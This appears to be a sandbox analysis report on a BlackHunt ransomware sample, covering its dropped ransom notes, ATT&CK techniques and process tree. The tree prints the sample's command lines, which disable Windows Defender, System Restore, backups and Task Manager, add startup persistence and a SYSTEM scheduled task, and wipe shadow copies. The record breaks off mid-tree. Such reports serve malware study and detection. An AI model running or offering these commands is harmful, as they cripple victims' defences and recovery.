File created	C:\Program Files\7-Zip\Lang\#BlackHunt_Private.key	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\#BlackHunt_ReadMe.txt	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\Shared\#BlackHunt_Private.key	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\#BlackHunt_ReadMe.hta	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.hta	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.txt	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_Private.key	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\ja-JP\#BlackHunt_ReadMe.hta	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\ja-JP\#BlackHunt_Private.key	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\Shared\#BlackHunt_ReadMe.txt	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2840	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2036	vssadmin.exe
2168	vssadmin.exe
2116	vssadmin.exe
936	vssadmin.exe
2272	vssadmin.exe
1536	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
Token: SeRestorePrivilege	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
Token: SeBackupPrivilege	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
Token: SeTakeOwnershipPrivilege	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
Token: SeAuditPrivilege	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
Token: SeSecurityPrivilege	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
Token: SeIncBasePriorityPrivilege	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
Token: SeBackupPrivilege	684	vssvc.exe
Token: SeRestorePrivilege	684	vssvc.exe
Token: SeAuditPrivilege	684	vssvc.exe
Token: SeBackupPrivilege	1772	wbengine.exe
Token: SeRestorePrivilege	1772	wbengine.exe
Token: SeSecurityPrivilege	1772	wbengine.exe
Token: SeSecurityPrivilege	2184	wevtutil.exe
Token: SeSecurityPrivilege	2012	wevtutil.exe
Token: SeBackupPrivilege	2184	wevtutil.exe
Token: SeBackupPrivilege	2012	wevtutil.exe
Token: SeSecurityPrivilege	2412	wevtutil.exe
Token: SeBackupPrivilege	2412	wevtutil.exe
Token: SeSecurityPrivilege	1000	wevtutil.exe
Token: SeBackupPrivilege	1000	wevtutil.exe
Token: SeSecurityPrivilege	1944	wevtutil.exe
Token: SeBackupPrivilege	1944	wevtutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1960 wrote to memory of 1992	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	28
PID 1960 wrote to memory of 1992	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	28
PID 1960 wrote to memory of 1992	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	28
PID 1960 wrote to memory of 1992	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	28
PID 1960 wrote to memory of 592	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	30
PID 1960 wrote to memory of 592	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	30
PID 1960 wrote to memory of 592	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	30
PID 1960 wrote to memory of 592	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	30
PID 1960 wrote to memory of 528	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	32
PID 1960 wrote to memory of 528	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	32
PID 1960 wrote to memory of 528	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	32
PID 1960 wrote to memory of 528	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	32
PID 1960 wrote to memory of 992	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	33
PID 1960 wrote to memory of 992	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	33
PID 1960 wrote to memory of 992	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	33
PID 1960 wrote to memory of 992	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	33
PID 1992 wrote to memory of 880	1992	cmd.exe	36
PID 1992 wrote to memory of 880	1992	cmd.exe	36
PID 1992 wrote to memory of 880	1992	cmd.exe	36
PID 1960 wrote to memory of 2284	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	37
PID 1960 wrote to memory of 2284	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	37
PID 1960 wrote to memory of 2284	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	37
PID 1960 wrote to memory of 2284	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	37
PID 592 wrote to memory of 2472	592	cmd.exe	39
PID 592 wrote to memory of 2472	592	cmd.exe	39
PID 592 wrote to memory of 2472	592	cmd.exe	39
PID 1960 wrote to memory of 1304	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	40
PID 1960 wrote to memory of 1304	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	40
PID 1960 wrote to memory of 1304	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	40
PID 1960 wrote to memory of 1304	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	40
PID 1960 wrote to memory of 1496	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	41
PID 1960 wrote to memory of 1496	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	41
PID 1960 wrote to memory of 1496	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	41
PID 1960 wrote to memory of 1496	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	41
PID 1960 wrote to memory of 2172	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	43
PID 1960 wrote to memory of 2172	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	43
PID 1960 wrote to memory of 2172	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	43
PID 1960 wrote to memory of 2172	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	43
PID 1960 wrote to memory of 2488	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	45
PID 1960 wrote to memory of 2488	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	45
PID 1960 wrote to memory of 2488	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	45
PID 1960 wrote to memory of 2488	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	45
PID 528 wrote to memory of 2300	528	cmd.exe	47
PID 528 wrote to memory of 2300	528	cmd.exe	47
PID 528 wrote to memory of 2300	528	cmd.exe	47
PID 1960 wrote to memory of 1544	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	48
PID 1960 wrote to memory of 1544	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	48
PID 1960 wrote to memory of 1544	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	48
PID 1960 wrote to memory of 1544	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	48
PID 1960 wrote to memory of 1300	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	50
PID 1960 wrote to memory of 1300	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	50
PID 1960 wrote to memory of 1300	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	50
PID 1960 wrote to memory of 1300	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	50
PID 992 wrote to memory of 1760	992	cmd.exe	51
PID 992 wrote to memory of 1760	992	cmd.exe	51
PID 992 wrote to memory of 1760	992	cmd.exe	51
PID 1960 wrote to memory of 1936	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	52
PID 1960 wrote to memory of 1936	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	52
PID 1960 wrote to memory of 1936	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	52
PID 1960 wrote to memory of 1936	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	52
PID 1960 wrote to memory of 2348	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	53
PID 1960 wrote to memory of 2348	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	53
PID 1960 wrote to memory of 2348	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	53
PID 1960 wrote to memory of 2348	1960	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe	53

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
"C:\Users\Admin\AppData\Local\Temp\911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2284
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:1304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:1496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2172
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1936
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2132
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2120
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2084
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2264
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1376
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe" /F
  2⤵
  PID:2124
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2612
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2680
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2400
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
